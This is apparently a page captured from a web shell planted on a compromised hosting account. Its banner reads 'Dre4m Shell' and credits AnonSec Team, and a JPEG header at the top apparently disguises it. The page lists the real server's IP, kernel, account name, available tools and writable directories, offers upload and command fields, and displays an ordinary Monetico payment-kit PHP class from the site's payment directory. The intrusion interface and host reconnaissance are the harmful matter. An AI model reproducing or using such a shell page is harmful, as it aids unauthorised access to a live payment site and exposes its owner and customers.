ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/CE_payment/Monetico/Monetico/Request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/CE_payment/Monetico/Monetico/Request/OrderContextShoppingCart.php
<?php

namespace MoneticoDemoWebKit\Monetico\Request;

class OrderContextShoppingCart implements \JsonSerializable
{
    /**
     * @var ?int
     */
    private $giftCardAmount;

    /**
     * @var ?int
     */
    private $giftCardCount;

    /**
     * @var ?string
     */
    private $giftCardCurrency;

    /**
     * @var ?\DateTime?
     */
    private $preOrderDate;

    /**
     * @var ?bool
     */
    private $preorderIndicator;

    /**
     * @var ?bool
     */
    private $reorderIndicator;

    /**
     * @var ?OrderContextShoppingCartItem[]
     */
    private $shoppingCartItems;

    public function jsonSerialize()
    {
        return array_filter([
            "giftCardAmount" => $this->getGiftCardAmount(),
            "giftCardCount" => $this->getGiftCardCount(),
            "giftCardCurrency" => $this->getGiftCardCurrency(),
            "preOrderDate" => $this->getFormatedPreOrderDate(),
            "preorderIndicator" => $this->getPreorderIndicator(),
            "reorderIndicator" => $this->getReorderIndicator(),
            "shoppingCartItems" => $this->getShoppingCartItems()
        ], function ($value) {
            return !is_null($value);
        });
    }

    /**
     * @return int|null
     */
    public function getGiftCardAmount(): ?int
    {
        return $this->giftCardAmount;
    }

    /**
     * @param int|null $giftCardAmount
     */
    public function setGiftCardAmount(?int $giftCardAmount): void
    {
        $this->giftCardAmount = $giftCardAmount;
    }

    /**
     * @return int|null
     */
    public function getGiftCardCount(): ?int
    {
        return $this->giftCardCount;
    }

    /**
     * @param int|null $giftCardCount
     */
    public function setGiftCardCount(?int $giftCardCount): void
    {
        $this->giftCardCount = $giftCardCount;
    }

    /**
     * @return string|null
     */
    public function getGiftCardCurrency(): ?string
    {
        return $this->giftCardCurrency;
    }

    /**
     * @param string|null $giftCardCurrency
     */
    public function setGiftCardCurrency(?string $giftCardCurrency): void
    {
        $this->giftCardCurrency = $giftCardCurrency;
    }

    /**
     * @return \DateTime|null
     */
    public function getPreOrderDate(): ?\DateTime
    {
        return $this->preOrderDate;
    }

    /**
     * @return string|null
     */
    public function getFormatedPreOrderDate(): ?string
    {
        if ($this->getPreOrderDate() instanceof \DateTime) {
            return $this->getPreOrderDate()->format("Y-m-d");
        }
        return null;
    }

    /**
     * @param \DateTime|null $preOrderDate
     */
    public function setPreOrderDate(?\DateTime $preOrderDate): void
    {
        $this->preOrderDate = $preOrderDate;
    }

    /**
     * @return bool|null
     */
    public function getPreorderIndicator(): ?bool
    {
        return $this->preorderIndicator;
    }

    /**
     * @param bool|null $preorderIndicator
     */
    public function setPreorderIndicator(?bool $preorderIndicator): void
    {
        $this->preorderIndicator = $preorderIndicator;
    }

    /**
     * @return bool|null
     */
    public function getReorderIndicator(): ?bool
    {
        return $this->reorderIndicator;
    }

    /**
     * @param bool|null $reorderIndicator
     */
    public function setReorderIndicator(?bool $reorderIndicator): void
    {
        $this->reorderIndicator = $reorderIndicator;
    }

    /**
     * @return \MoneticoDemoWebKit\Monetico\Request\OrderContextShoppingCartItem[]|null
     */
    public function getShoppingCartItems(): ?array
    {
        return $this->shoppingCartItems;
    }

    /**
     * @param \MoneticoDemoWebKit\Monetico\Request\OrderContextShoppingCartItem[]|null $shoppingCartItems
     */
    public function setShoppingCartItems(?array $shoppingCartItems): void
    {
        $this->shoppingCartItems = $shoppingCartItems;
    }


}

Anon7 - 2022
AnonSec Team